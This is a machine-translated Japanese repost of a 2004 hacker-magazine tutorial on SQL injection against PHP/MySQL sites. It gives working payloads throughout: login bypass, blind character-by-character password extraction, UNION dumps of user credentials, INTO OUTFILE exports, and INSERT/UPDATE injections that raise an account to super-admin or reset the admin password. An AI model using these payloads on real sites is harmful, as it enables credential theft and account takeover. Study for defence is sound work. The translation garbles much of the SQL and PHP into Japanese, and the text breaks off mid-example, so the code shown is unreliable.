ホームページ >バックエンド開発 >PHPチュートリアル >インジェクションの脆弱性を備えた MYSQL ステートメントを作成する方法_PHP チュートリアル

インジェクションの脆弱性を備えた MYSQL ステートメントを作成する方法_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:01:47821ブラウズ

mysql による NSQL インジェクション

この記事の著者: 天使 記事の性質: オリジナル 発売日: 2004-09-16
この記事は『Hacker Defense』7月号に掲載されたものですので、転載の際はその旨をご明記ください。書くのに長い時間がかかり、
テクノロジー
の進歩に伴い、この記事には多くの間違いや冗長な箇所があることもわかりました。専門家の方はこれを読んで笑わないでください。この記事は、「MySQL による高度な SQL インジェクション」の 1 か月前に書かれたものです。
ステートメント
この記事は教育のみを目的としており、この記事によって引き起こされる攻撃の結果については責任を負いません。この記事のすべてのコードは私によって作成されており、すべてのデータはテストされています。絶対に本当。漏れや間違いがある場合は、Security Angel Forum (http://www.4ngel.net/forums) にアクセスして私にご連絡ください。

はじめに

2003 年以来、ますます多くの人々がスクリプト攻撃に興味を持ち、ASP での

インジェクション
について私が読んだ最も古い記事は 1999 年に書かれたものです。外国の専門家がこの技術に精通し始めたばかりであるが、この観点から見ると、この分野における国内の技術と外国の技術には依然として大きな差がある。 SQL については誰もがよく知っています インジェクション 攻撃も、国内の主要なサイトにいくつかの古典的な作品がありますが、完全な記事として、その定義と原則について話す必要があると思います。熟練のレベルに達しているマスターがいる場合は、この記事を少し試してみてもよいでしょう。クアンは弟を指導すべきだ。 php+Mysql インジェクションについて 中国ではphp+Mysql

インジェクションに関する記事は比較的少ないかもしれませんが、さまざまなWEBプログラムの脆弱性に注目してみると、これらの脆弱性に関する記事が実際に例であることがわかります。しかし、中国では ASP よりも PHP を勉強する人がはるかに少ないため、注目されていない可能性があります。また、PHP は ASP よりもはるかに安全であるため、多くの人はこのしきい値を超えたくありません。 それにもかかわらず、PHP サイトの数が増加している今日でも、SQL
インジェクション
は依然として最も効果的で厄介な攻撃方法です。国内のセキュリティのほとんどを含むサイトの少なくとも 70% に SQL インジェクションの脆弱性があるため、効果的です。問題は、MYSQL4 より前のバージョンではサブステートメントがサポートされておらず、php.ini の magic_quotes_gpc がオンになっているためです。送信された変数内のすべての ' (一重引用符)、" (二重引用符)、(バックスラッシュ) および空の 文字 は、バックスラッシュを含むエスケープされた 文字
に自動的に変換されます。 バンドを に挿入する 障害がたくさんあります。 初期の頃、プログラム コードに基づいて、効果的な攻撃を形成するために引用符のないステートメントを構築することは非常に困難でした。幸いなことに、現在のテクノロジーでは、特定の状況で使用できるように引用符のないステートメントが構築されています。経験があれば、効果的な文章を構築することはまったく難しくなく、成功率も高いですが、具体的な状況をケースバイケースで分析する必要があります。まずは誤解を解かなければなりません。 注: 具体的な指示がない場合は、magic_quotes_gpc がすべてオフであると想定します。 php+Mysqlインジェクション

の誤解
多くの人は、PHP+MYSQL で

を注入するときに一重引用符を使用する必要があると考えています。そうでないと、MSSQL のように "declare @a sysname select @a= exec master.dbo.xp_cmdshell @a " を使用する方法はありません。実は、これはinjectionの誤解、つまり

injectionの誤解です。 なぜ?どの言語であっても、引用符で囲まれたすべての文字列 (一重および二重を含む) は定数であるため、 dir のようなコマンドでも単なる文字列であり、コードが次のように書かれていない限りコマンドとして実行できません。 $command = "ディレクトリ:"; システム($コマンド); それ以外の場合、これは単なる文字列です。もちろん、ここで説明しているコマンドは、SQL ステートメントを通常どおりに実行することを意味するものではありません。では、次回は一重引用符を使用しますか?使われないのはどんなとき?次の 2 つの SQL ステートメントを見てください: ①SELECT * FROM 記事 WHERE 記事 ID='$id'
②SELECT * FROM 記事 WHERE 記事ID=$id

どちらの記述方法もさまざまなプログラムで共通ですが、最初の文では変数 $id を一対の引用符で囲みます。これにより、たとえ正しい SQL ステートメントが含まれていたとしても、送信する変数は文字列になります。 2 番目の文は異なります。変数が一重引用符で囲まれていないため、スペースが含まれている限り、送信したものはすべて SQL ステートメントとして実行されます。2 つの不正な文は正常に送信されました。違いを確認するために 2 つの文に を挿入しました。
① 変数 $id を次のように指定します:
1' と 1=2 Union select * from user where userid=1/* このとき、SQL ステートメント全体は次のようになります:
SELECT * FROM 記事 WHERE 記事 ID='1' と 1=2 Union select * from user where userid=1/*'

②変数 $id を次のように指定します:
1 と 1=2 Union select * from user where userid=1
このとき、SQL ステートメント全体は次のようになります:
SELECT * FROM 記事 WHERE 記事 ID=1 と 1=2 Union select * from user where userid=1


あなたはそれを見ましたか?最初の文には単一引用符が含まれているため、次のステートメントを SQL として実行できるように、最初に前の単一引用符を閉じる必要があります。また、元の SQL ステートメント内の次の一重引用符をコメント アウトして、正常に実行できるようにする必要があります

inject 、php.ini の magic_quotes_gpc が on に設定されている場合、または変数の前に addslashes() 関数が使用されている場合、攻撃は無駄になりますが、2 番目の文に変数が引用符で囲まれていない場合は、攻撃は行われません。閉じるかコメントを直接送信することを検討する必要があります。 いくつかの記事で示されているステートメントには一重引用符が含まれていないことがわかりました。たとえば、pinkeyes の「php
Injection例」で示されている SQL ステートメントには引用符が含まれていません。 quotes Inject を使用して、PHPBB コードを詳しく見てみると、$forum_id が配置されている SQL ステートメントが次のように記述されていることがわかります:
$sql = "SELECT *
「 . FORUMS_TABLE . 」から WHERE フォーラム ID = $フォーラム ID";


変数は一重引用符で囲まれていないため、pinkkey は変数を利用する機会があります。そのため、PHP プログラムを作成するときは、変数を一重引用符で囲むようにしてください。もちろん、必要な安全対策は必須です。

簡単な例

PHP における

インジェクション の特殊性と原理を理解するための例を示します。もちろん、この例では、効果的な SQL ステートメントを構築する方法を学習することもできます。 ユーザー検証の例を見てみましょう。まず、次のように データベース
とデータ テーブルを作成し、レコードを挿入します。 テーブル `user` を作成 (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL デフォルト '', `パスワード` varchar(20) NOT NULL デフォルト '',
主キー (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
#テーブル `user` のデータをエクスポートします
#

INSERT INTO `user` VALUES (1, 'angel', 'mypass');



ユーザーファイルを検証するコードは次のとおりです:


$servername = "ローカルホスト";
$dbusername = "ルート"; $dbpassword = "";
$dbname = "注入";

mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);

$sql = "SELECT * FROM ユーザー WHERE ユーザー名='$ユーザー名' AND パスワード='$パスワード'";

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (空($userinfo))
{
echo "ログインに失敗しました";
} その他 {
echo "ログイン成功";
}

echo "

SQL クエリ: $sql

";
?>



現時点では次のように提出します:


http://127.0.0.1/injection/user.php?username=angel

' または 1=1 戻ります:


警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
ログインに失敗しました
SQL クエリ:SELECT * FROM ユーザー WHERE ユーザー名 = 'angel' または 1=1' AND パスワード = ''

PHP 警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません


見えますか?一重引用符が閉じられた後、次の一重引用符はコメントアウトされず、一重引用符が正しくペアにならないことになります。したがって、作成したステートメントでは Mysql を正しく実行できず、再構築する必要があることがわかります。

http://127.0.0.1/injection/user.php?username=angel' または '1=1

このとき「Login Successful」と表示され、成功したことがわかります。または送信してください:


http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23

これにより、次のステートメントがコメントアウトされます。これら 2 つの投稿の違いについて説明します。言うまでもなく、最初に投稿した文は論理演算を使用しています。 2 番目と 3 番目の文は、mysql の特性に基づいています。Mysql は、/* と # の 2 つのコメント形式をサポートしているため、送信するときに次のコードをコメントアウトします。エンコードの問題により、# を送信することに注意してください。 IE のアドレス バーは空になるため、アドレス バーで送信する場合は、# になる前に %23 を送信する必要があります。これは、PHP の論理演算よりもはるかに簡単であることがわかります。 ASP よりも強力で柔軟です。
上記の例を通して、誰もが PHP+MYSQL の
インジェクション を感覚的に理解できるはずですよね?
ステートメントの構築

PHP+MYSQL
Injectionの幅広さと奥深さは、認証システムに反映されるだけではありません。ただし、ステートメントの構造は ACCESS や MSSQL とは若干異なります。まだ最大限の可能性を発揮できます。以下の例を参照してください。
1. 検索エンジン

インターネット上には問題のある PHP プログラム検索エンジンがたくさんあります。つまり、特殊文字を送信すると、条件を満たさないレコードも含めてすべてのレコードが表示されるという問題があります。実際には、多くの場所でこの害は大きくありません。ここで、ユーザーはあいまいクエリのキーワードを入力できます。ほとんどの場合、すべてのレコードを取得できます。多くのクエリはこのように設計されています。
クエリは読み取り専用操作であり、データに損傷を与えることはないため、あまり心配する必要はありません。ただし、プライバシーの漏洩が有害であるとみなされるかどうかはわかりません。標準的な検索エンジンは次のとおりです。


input type="submit" value="検索">

検索結果



$servername = "ローカルホスト";
$dbusername = "ルート";
$dbpassword = "";
$dbname = "注入";

mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);

$キーワード = $_GET['キーワード'];
if (!empty($keywords)) {
//$keywords = addlashes($keywords);
//$keywords = str_replace("_","_",$keywords);
//$keywords = str_replace("%","%",$keywords);

$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
$result = mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);

echo "

SQL クエリ: $sql

";

if ($tatol echo "「$keywords」はすべてのレコードで見つかりませんでした。

n";
} 他 {
while ($article=mysql_fetch_array($result)) {
echo "

  • ".htmlspecialchars($article[title])."

    n";
    } //ながら
    }
    } その他 {
    echo ": キーワードをいくつか入力してください。

    n";
    }
    ?>



    通常、プログラムはこのように書かれていますが、変数のチェックが不足している場合は、「

    inject
    」の目的を達成するために変数を書き換えることができます。ただし、「___」と入力すると、「. __"、"%" など。同様のキーワードを使用すると、データベース内のすべてのレコードが取得されます。フォームで送信する場合: %' 記事ID/*
    で注文 %' 記事ID#
    で注文 __' 記事 ID/* で注文します __' 記事ID#

    で注文
    SQL ステートメントは次のように変更されます

    SELECT * FROM 記事 WHERE タイトル LIKE '%%' ORDER BY 記事 ID/*%' ORDER BY title DESC
    SELECT * FROM 記事 WHERE タイトル LIKE '%__' ORDER BY 記事 ID#%' ORDER BY タイトル DESC


    非表示のレコードを含むすべてのレコードがリストされ、並べ替え順序も変更できます。これはそれほど有害ではありませんが、注射の方法であると考えられますよね?

    2. クエリフィールド

    クエリ フィールドは、ローカル テーブル クエリとクロステーブル クエリの 2 つのタイプに分類できます。これら 2 つのクエリは ACCESS および MSSQL に似ており、さらに強力で柔軟で便利です。なぜASPよりも難しいと考える人がいるのかわかりません。 ASP でよく使用する一部の関数は、次のように PHP でわずかに変更する必要があります:

    ①このテーブルにクエリを実行します

    次の SQL ステートメントを見てください。これは主にフォーラムやメンバー登録システムでユーザー情報を表示するために使用されます

    $servername = "ローカルホスト";
    $dbusername = "ルート";
    $dbpassword = "";
    $dbname = "注入";

    mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);

    $sql = "SELECT * FROM user WHERE username='$username'";
    $result = mysql_db_query($dbname,$sql);
    $row = mysql_fetch_array($result);

    if (!$row) {
    echo "このレコードは存在しません";
    echo "

    SQL クエリ: $sql

    ";
    終了します;
    }

    echo "クエリしたいユーザー ID は次のとおりです: $row[userid]n";
    echo "

    SQL クエリ:$sql

    ";
    ?>


    送信したユーザー名が true の場合、ユーザーの ID が通常どおり返されます。それが不正なパラメーターの場合は、対応するエラーが表示されます。ユーザー情報を照会しているため、パスワードがこのデータ テーブルに存在すると推測できます。私は今でも、パスワードが別のテーブルに個別に保存されているプログラムに遭遇したことがありません) 先ほどの本人確認プログラムを覚えていますか?現在のものと比較すると、次のように AND 条件が 1 つ減ります:

    SELECT * FROM ユーザー WHERE ユーザー名='$ユーザー名' AND パスワード='$パスワード'SELECT * FROM ユーザー WHERE ユーザー名='$ユーザー名'


    同様に、条件が true の場合、正しいプロンプト情報が提供されます。後続の AND 条件部分を作成してこの部分を true にすると、作成したばかりのユーザーを引き続き使用できます。データベース、ユーザー名は angel、パスワードは mypass、
    上記の例を読んだ後、次のように送信すると構造がわかるはずです。

    http://127.0.0.1/injection/user.php?username=angel' およびパスワード='mypass

    これはまったくその通りです。上記の SQL ステートメントを次のように送信すると、次のようになります:


    SELECT * FROM ユーザー WHERE ユーザー名='angel' AND パスワード='mypass'

    しかし、実際の攻撃では、データベースの各フィールドがわかっていると仮定して、まずパスワードの長さを取得します。

    http://127.0.0.1/injection/user.php?username=angel
    ' および LENGTH(パスワード)='6
    ACCESSでは文字列長を取得するためにLEN()関数を使用します。MYSQLでは構築エラーがない限り、つまりSQL文が正常に実行できる限り、LENGTH()関数を使用します。返される結果のユーザーIDは「レコードが存在しない」という意味です。ユーザー名が angel、パスワードの長さが 6 の場合、true が返され、関連するレコードが返されます。これは ASP と同じですか?次に、LEFT()、RIGHT()、MID() 関数を使用してパスワードを推測します。


    http://127.0.0.1/injection/user.php?username=angel
    ' および LEFT(password,1)='m
    http://127.0.0.1/injection/user.php?username=angel
    ' および LEFT(password,2)='my
    http://127.0.0.1/injection/user.php?username=angel
    ' および LEFT(password,3)='myp
    http://127.0.0.1/injection/user.php?username=angel
    ' および LEFT(password,4)='mypa
    http://127.0.0.1/injection/user.php?username=angel
    ' および LEFT(password,5)='mypas
    http://127.0.0.1/injection/user.php?username=angel
    ' および LEFT(password,6)='mypass
    あれ、パスワード出てなかったっけ?シンプルですよね?もちろん、実際の状況には多くの制限があるため、この例の詳細な適用については以下で説明します。

    ②クロステーブルクエリ

    この部分は ASP とは少し異なります。UNION を使用して 2 つの SQL ステートメントを接続することに加えて、マスターするのが最も難しいのは、MYSQL リファレンス マニュアルを読んだことがある方であれば、SELECT の select_expression (select_expression. Column[Field]) セクションにリストされている列は同じ型である必要があることを意味します。最初の SELECT クエリで使用された列名が、結果セットの列名として返されます。簡単に言うと、UNION の後に選択される数値とフィールドの型は、前の SELECT で選択されたものと同じである必要があります。また、前の SELECT が true の場合、2 つの SELECT の結果が同時に返されます。が false の場合、2 番目の SELECT の結果が返されます。場合によっては、以下に示すように、最初の SELECT で表示されるフィールドが置き換えられます。


    この写真を見たほうが直感的でしょうか?したがって、まず、前のクエリ テーブルのデータ テーブルの構造を理解しておく必要があります。 2 つのデータ テーブルでクエリするフィールドが同じで同じタイプの場合、次のように送信できます:


    SELECT * FROM 記事 WHERE 記事 ID='$id' UNION SELECT * FROM……

    フィールドの数とフィールドのタイプが同じでない場合は、次のようにデータ タイプとフィールドの数をクリアして送信することしかできません:


    SELECT * FROM 記事 WHERE 記事 ID='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……

    それ以外の場合は、エラーが報告されます:


    使用されている SELECT ステートメントの列数が異なります

    データ型とフィールドの数がわからない場合は、1 を使用してゆっくり試すことができます。1 は intstrvar 型に属しているため、数値をゆっくり変更する限り、確実に推測できます。上記の理論がすぐには理解できない場合は、後で非常に詳細な例を示します。
    以下のデータ構造を見てみましょう。これは単純な記事データ テーブルです。


    テーブル「記事」を作成 ( `articleid` int(11) NOT NULL auto_increment,
    `title` varchar(100) NOT NULL デフォルト '',
    `content` テキストが NULL ではありません、
    主キー (`articleid`)
    ) TYPE=MyISAM AUTO_INCREMENT=3 ;

    #
    #テーブル`article`のデータをエクスポートします
    #

    INSERT INTO `article` VALUES (1、「私は本を読むのが好きではない子供です」、「中国の教育制度はとても後進的です! 私が教育大臣なら、教師全員を解雇するでしょう!」);
    INSERT INTO `article` VALUES (2, 「私はあなたのことがとても嫌いです」、「私はあなたのことがとても嫌いです、あなたは何ですか」);


    このテーブルのフィールドの型は int、varchar、text です。UNION を使用してクエリを実行すると、後続のクエリ テーブルの構造もこれと同じになります。いずれかが異なる場合は、「SELECT *」を使用できます。使用できるのは「SELECT 1,1,1,1...」のみです。

    次のファイルは、記事を表示するための非常に標準的でシンプルなファイルです。多くのサイトにはフィルタリングされていないこの種のページがあるため、このファイルを例として
    インジェクションを開始してみましょう。 実験。 $servername = "ローカルホスト"; $dbusername = "ルート";
    $dbpassword = "";
    $dbname = "注入";
    mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);

    $sql = "SELECT * FROM 記事 WHERE 記事 ID='$id'";
    $result = mysql_db_query($dbname,$sql);
    $row = mysql_fetch_array($result);

    if (!$row)
    {
    echo "このレコードは存在しません";
    echo "

    SQL クエリ:$sql

    ";
    終了します;
    }

    echo "title
    ".$row[title]."

    n";
    echo "content
    ".$row[content]."

    n";
    echo "

    SQL クエリ:$sql

    ";
    ?>



    通常、次のようなリクエストを送信します:

    http://127.0.0.1/injection/show.php?id=1



    記事ID 1 の記事が表示されますが、必要なのはユーザーの機密情報なので、作成したばかりのユーザー テーブルをクエリする必要があります。 $id はフィルターされていないため、この機会が作成されます。show.php ファイル内の SQL ステートメントを次のように書き直す必要があります。
    SELECT * FROM 記事 WHERE 記事 ID='$id' UNION SELECT * FROM ユーザー ……



    このコードには一重引用符で囲まれた変数が含まれているため、今すぐ送信します:
    http://127.0.0.1/injection/show.php?id=1' Union select 1,username,password from user/*


    論理的には、ユーザーテーブルのユーザー名とパスワードフィールドの内容が表示されるはずですが、記事を正常に表示するにはどうすればよいですか?写真に示すように:



    実際、送信したarticleid=1はarticleテーブルに存在しており、空の値または存在しない値を送信すると、当然、実行結果はtrueになります。ポップアップ:

    http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/*
    http://127.0.0.1/injection/show.php?id=99999' 結合選択 1、ユーザー名、ユーザー/* からのパスワード


    写真に示すように:



    次に、フィールドの対応する場所に必要なコンテンツを表示します。アイデアや具体的なアプリケーションについてまだよくわからない場合は、後でいくつかの高度なテクニックについて説明します。

    3. ファイルをエクスポートします

    これは構築が比較的簡単なテクノロジーですが、次のような SQL ステートメントがよく見られます。

    select * from table into outfile 'c:/file.txt' select * from table into outfile '/var/www/file.txt'


    しかし、そのようなステートメントがプログラムで使用されることはほとんどありません。誰が自分のデータをエクスポートするのでしょうか?バックアップでなければ別ですが、このバックアップ方法は見たことがありません。したがって、自分で構築する必要がありますが、次の前提条件を満たす必要があります:

    ダウンロードできるように、アクセス可能なディレクトリにエクスポートする必要があります。
    アクセス可能なディレクトリには書き込み権限が必要です。そうでない場合、エクスポートは失敗します。
    ハード ドライブに、エクスポートされたデータを収容できる十分な容量があることを確認してください。これはまれです。
    同じファイル名がすでに存在していることを確認してください。これにより、エクスポートが失敗し、「ファイル 'c:/file.txt' はすでに存在します」というプロンプトが表示されます。これにより、データベース テーブルや /etc/passwd などのファイルが破損するのを防ぐことができます。 。
    ユーザーを次々と推測するのが遅すぎる場合、相手のパスワードやその他の機密情報が非常に複雑で、相手がパスワードの書き方がわからない場合は、引き続き user.php ファイルと show.php ファイルを使用してみましょう。エクスプロイト、彼らは何時を推測する必要がありますか?大規模なことを実行して、すべてのデータを直接エクスポートしてみましょう。 user.php ファイルのクエリ ステートメントについては、outfile の標準形式に従い、次のステートメントに
    を挿入して、必要な情報をエクスポートします。 SELECT * FROM user WHERE username='$username' を出力ファイル 'c:/file.txt' に入力します

    どのようなステートメントが目的を達成できるのかがわかれば、対応するステートメントを簡単に構築できます:

    http://127.0.0.1/injection/user.php?username=angel

    ' を出力ファイル 'c:/file.txt
    エラーメッセージが表示されますが、返されたステートメントからすると、SQL ステートメントは確かに正しい
    injection

    です。エラーが発生したとしても、それはクエリの問題であり、図に示すように、ファイルは依然として素直にエクスポートされます。 :
    コード自体に条件を指定する WHERE があるため、エクスポートするデータはこの条件を満たすデータのみです。すべてエクスポートしたい場合はどうすればよいでしょうか。実際、WHERE 条件を false にして true 条件を指定する限り、古典的な 1=1 の動作を見てみましょう。
    http://127.0.0.1/injection/user.php?username=

    ' または 1=1 を出力ファイル 'c:/file.txt

    実際の SQL ステートメントは次のようになります:
    SELECT * FROM user WHERE username='' または 1=1 を出力ファイル 'c:/file.txt' に入力します



    このように、ユーザー名のパラメータが空の場合、1=1 は常に true となるため、 or の前の WHERE は機能しませんが、and を使用しないと、すべてのデータをエクスポートできません。 条件を満たしているので、この場合はすべてのデータが直接エクスポートされます。写真に示すように:



    しかし、テーブル間でファイルをエクスポートするためのステートメントを作成するにはどうすればよいでしょうか? UNION 結合クエリは引き続き使用されるため、すべての前提条件が UNION およびエクスポートされたデータと同じである必要があります。通常の状況では、テーブル間でエクスポートされたデータは次と同じである必要があります。
    SELECT * FROM 記事 WHERE 記事 ID='1' ユニオンは、ユーザーから 1、ユーザー名、パスワードを出力ファイル 'c:/user.txt' に選択します


    この方法でファイルをエクスポートできます。作成したい場合は、次のように送信します。

    http://127.0.0.1/injection/show.php?id=1' ユーザーから出力ファイル 'c:/user.txt に 1、ユーザー名、パスワードを選択します

    ファイルは出力されましたが、問題があります。前のクエリarticleid='1'がtrueであるため、図に示すように、エクスポートされたデータには記事全体の一部も含まれています。


    したがって、前のクエリ ステートメントを false にして、後続のクエリのコンテンツのみをエクスポートできるようにする必要があります。


    http://127.0.0.1/injection/show.php?id=
    ' ユーザーから出力ファイル 'c:/user.txt に 1、ユーザー名、パスワードを選択します
    この方法でのみ、必要な情報を入手できます:



    ファイルをエクスポートする場合は、magic_quotes_gpc を開いてはならず、プログラムは addslashes() 関数を使用しないことに注意してください。また、エクスポート パスを送信するときに、一重引用符でフィルタリングすることはできません。引用符で囲む必要があります。そうしないと、システムはそれがパスであることを認識しないため、char() やその他の関数を使用する必要はありませんが、これは無駄です。

    挿入

    MYSQL の

    インジェクション が SELECT にのみ適用されると考えているなら、それは完全に間違っています。実際には、INSERT ステートメントと UPDATE ステートメントという、さらに 2 つの有害な操作があります。まず、それらの例について説明します。 . INSERT、これは主に挿入されたデータを書き換えるために使用されます。次のデータ構造を見てみましょう。 テーブル `user` を作成 (
    `userid` INT NOT NULL AUTO_INCREMENT 、
    `ユーザー名` VARCHAR( 20 ) NOT NULL 、 `パスワード` VARCHAR( 50 ) NOT NULL 、
    `ホームページ` VARCHAR( 255 ) NOT NULL 、
    `userlevel` INT DEFAULT '1' NOT NULL 、
    主キー ( `userid` )

    );

    userlevel はユーザーレベルを表し、1 は一般ユーザー、2 は一般管理者、3 はスーパー管理者を示します。 登録プログラムはデフォルトで次のように一般ユーザーとして登録します。

    INSERT INTO `user` (userid、username、password、homepage、userlevel) VALUES ('', '$username', '$password', '$homepage', '1');


    デフォルトの userlevel フィールドは 1 に挿入され、その中の変数はフィルタリングされずにデータベースに直接書き込まれます。どう思いますか?はい、直接
    inject

    するだけで、登録するとすぐにスーパー管理者になります。登録するとき、$homepage 変数を次のように指定することで、書き換えの目的を達成できます。 http://4ngel.net', '3')#

    データベースに挿入すると、次のようになります:
    「user」に挿入 (ユーザーID、ユーザー名、パスワード、ホームページ、ユーザーレベル) 値 ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1' );



    これにより、スーパー管理者として登録されます。ただし、この使用方法には一定の制限もあります。たとえば、userlevel フィールドはデータベースの最初のフィールドに挿入する場所がありません。私たちには選択の余地がありません。 おそらく INSERT にはより幅広い用途があり、自分で調べることもできますが、原理は同じです。
    更新

    INSERT と比較して、UPDATE はより広く使用されています。フィルタリングが不十分な場合は、データ構造が変更されていない状態でユーザーが SQL ステートメントを変更できるようにします。一般的には次のように書かれます: ユーザー SET パスワード = '$password'、ホームページ = '$homepage' WHERE id='$id' を更新します


    ユーザーは自分のパスワードとホームページを変更できます。どう思いますか?まだ権限を高める必要があるわけではありませんね?プログラム内の SQL ステートメントが userlevel フィールドを更新しません。どうすれば改善できますか?依然として古い方法では、$homepage 変数を構築し、$homepage 変数を次のように指定します:


    http://4ngel.net
    '、ユーザーレベル='3


    SQL ステートメント全体は次のようになります:

    ユーザー設定のパスワード='mypass'、ホームページ='http://4ngel.net'、ユーザーレベル='3' WHERE id='$id'を更新します
    またスーパー管理者になってしまったのでしょうか?プログラムは userlevel フィールドを更新しません。私たちが自分で更新します。
    さらにすごいことがあります。任意のユーザーの情報を直接変更します。これはまだ先ほどの例文ですが、今回はより安全で、MD5 暗号化を使用します:

    ユーザー SET パスワード = 'MD5($password)'、ホームページ = '$homepage' WHERE id='$id' を更新します


    パスワードは暗号化されていますが、$password を次のように指定して、必要なステートメントを構築できます。

    mypass)' WHERE username='admin'#

    このとき、文全体は次のようになります:


    UPDATE ユーザー SET パスワード='MD5(mypass)' WHERE ユーザー名='admin'#)'、ホームページ='$homepage' WHERE id='$id'

    これにより、更新条件が変更されます。背後のコードが「まだ実行していません」と叫んでいても構いません。もちろん、$id から始めて $id を次のように指定することもできます:


    ' またはユーザー名='管理者'

    このとき、文全体は次のようになります:


    UPDATE ユーザー SET パスワード='MD5($password)'、ホームページ='$homepage' WHERE id='' OR username='admin'

    それでも改造の目的は達成できるので、
    インジェクションは非常に柔軟な技術です。一部の変数がデータベースから読み取られた固定値である場合、またはサーバー上の SESSION 情報を読み取るために $_SESSION['username'] を使用する場合でも、元の WHERE の前に自分で WHERE を構築し、次のコードをコメントアウトできます。コメントの柔軟な使用もインジェクションの手法の1つであることがわかります。これらのテクニックは、に最大限にもたらします。それは芸術だと言わざるを得ません。 変数の送信方法は、GET または POST です。送信場所は、アドレス バー、フォーム、隠しフォーム変数、またはローカル COOKIE 情報の変更などです。送信方法は、ローカル送信、サーバー上での送信、またはツール送信のいずれかです。使い方次第で色々な方法があります。

    高度なアプリ

    1. MYSQL 組み込み関数を使用する

    ACCESS と MSSQL の
    インジェクション には、システムの奥深くに侵入したり、中国語を推測したりするなど、より高度な インジェクション メソッドが多数あります。これらは、実際、MYSQL でもよく使用できます。組み込み関数を SQL ステートメントで使用できるため、注入の際により柔軟になり、システムに関するより多くの情報を取得できるようになります。よく使用される関数がいくつかあります:

    データベース() ユーザー()
    SYSTEM_USER()
    SESSION_USER()
    CURRENT_USER()



    各関数の特定の関数については、次の UPDATE などの MYSQL マニュアルを参照してください。

    記事を更新 SET title=$title WHERE Articleid=1

    $title は上記の各関数として指定できます。引用符で囲まれていないため、関数は正しく実行できます。


    記事を更新 SET title=DATABASE() WHERE id=1
    #現在のデータベース名をタイトルフィールドに更新します 記事を更新 SET title=USER() WHERE id=1
    #現在の MySQL ユーザー名をタイトルフィールドに更新します
    記事を更新 SET title=SYSTEM_USER() WHERE id=1
    #現在の MySQL ユーザー名をタイトルフィールドに更新します
    記事を更新 SET title=SESSION_USER() WHERE id=1
    #現在の MySQL ユーザー名をタイトルフィールドに更新します
    記事を更新 SET title=CURRENT_USER() WHERE id=1
    #現在のセッションの検証され一致したユーザー名をタイトルフィールドに更新します


    MYSQL の組み込み関数を柔軟に使用することで、データベースのバージョン、名前、ユーザー、現在のデータベースなど、多くの有用な情報を取得できます。たとえば、前のクロステーブル クエリの例では、次のように送信します。


    http://127.0.0.1/injection/show.php?id=1

    MYSQL データベースの関連情報を知るにはどうすればよいですか? という記事をご覧ください。 UNION 結合クエリと連携するために MYSQL 組み込み関数も使用しますが、それに比べてはるかに単純で、ファイルを読み取ることもできます。 UNIONを使用するため、フィールド数とデータ型が同じであるというUNIONの条件も満たしている必要があります。データ構造がわかっていれば、それを直接構築できます:


    http://127.0.0.1/injection/show.php?id=-1
    Union select 1,database(),version()
    現在のデータベース名とデータベースのバージョンを返すことができ、構築は比較的簡単です。
    以下に、私の友人 Super·Hei が書いたコードを添付します。これは文字列を ASCII コードに変換できます。提供していただきありがとうございます。


    #!/usr/bin/perl
    #cody by スーパー・ヘイ #天使へ
    #C:>test.pl c:boot.ini
    #99,58,92,98,111,111,116,46,105,110,105

    $ARGC = @ARGV;
    if ($ARGC != 1) {
    print "使用量: $0n";
    終了(1);
    }

    $path=shift;

    @char = unpack('C*', $path);

    $asc=join(",",@char);

    $asc を印刷します。

    2. 一重引用符なしで挿入します

    注: ここでは、magic_quotes_gpc がオンであると仮定します。

    ご存知のとおり、整数データは引用符で囲む必要はありませんが、文字列は引用符で囲む必要があるため、多くの問題を回避できます。しかし、整数データのみを使用する場合は、
    を注入する方法がないため、構築したステートメントを整数型に変換する必要があります。これには、CHAR()、ASCII()、ORD()、CONV() の関数が必要です。 、簡単な例を次に示します: SELECT * FROM user WHERE username='angel'

    $username を引用符なしで作成するにはどうすればよいですか?このように送信するだけです。


    SELECT * FROM user WHERE username=char(97,110,103,101,108)
    # char(97,110,103,101,108) は、10 進数の angel に相当します。
    SELECT * FROM ユーザー WHERE ユーザー名=0x616E67656C # 0x616E67656C は、16 進数のエンジェルに相当します。


    他の関数を自分でテストすることもできますが、前提となるのは、構築できる変数が引用符で囲まれていないことだけです。そうしないと、何を構築しても単なる文字列になり、テストできません。先ほどのパスワードの推測などの役割を果たします。たとえば、(user, php) のクエリ条件を userid:
    に変更します。

    SELECT * FROM user WHERE userid=userid

    通常に従って、次のように送信します:


    http://127.0.0.1/injection/user.php?userid=1

    ユーザー ID 1 を使用してユーザー情報をクエリできます。 1 は数値であるため、引用符があるかどうかは関係ありませんが、次のように構築すると


    http://127.0.0.1/injection/user.php?userid=1

    およびパスワード=mypass 提出しない限り、mypass は文字列であるため、絶対に間違っています:


    http://127.0.0.1/injection/user.php?userid=1

    およびパスワード='mypass' magic_quotes_gpc がオンになっているため、これは絶対に不可能です。引用符は /' になります。これらの文字列を整数データに変換する方法はありますか?次のように送信する場合は、CHAR() 関数を使用するだけです:


    http://127.0.0.1/injection/user.php?userid=1

    およびパスワード=char(109,121,112,97,115,115) 通常通りに戻ります。実践の結果、CHAR() を使用することが可能であることがわかったので、LEFT 関数で CHAR() を使用して少しずつ解を推測します。


    http://127.0.0.1/injection/user.php?userid=1

    および LEFT(password,1)=char(109) 通常どおりに戻り、ユーザー ID が 1、パスワード フィールドの最初のビットが char(109) であることを示し、推測を続けます:


    http://127.0.0.1/injection/user.php?userid=1

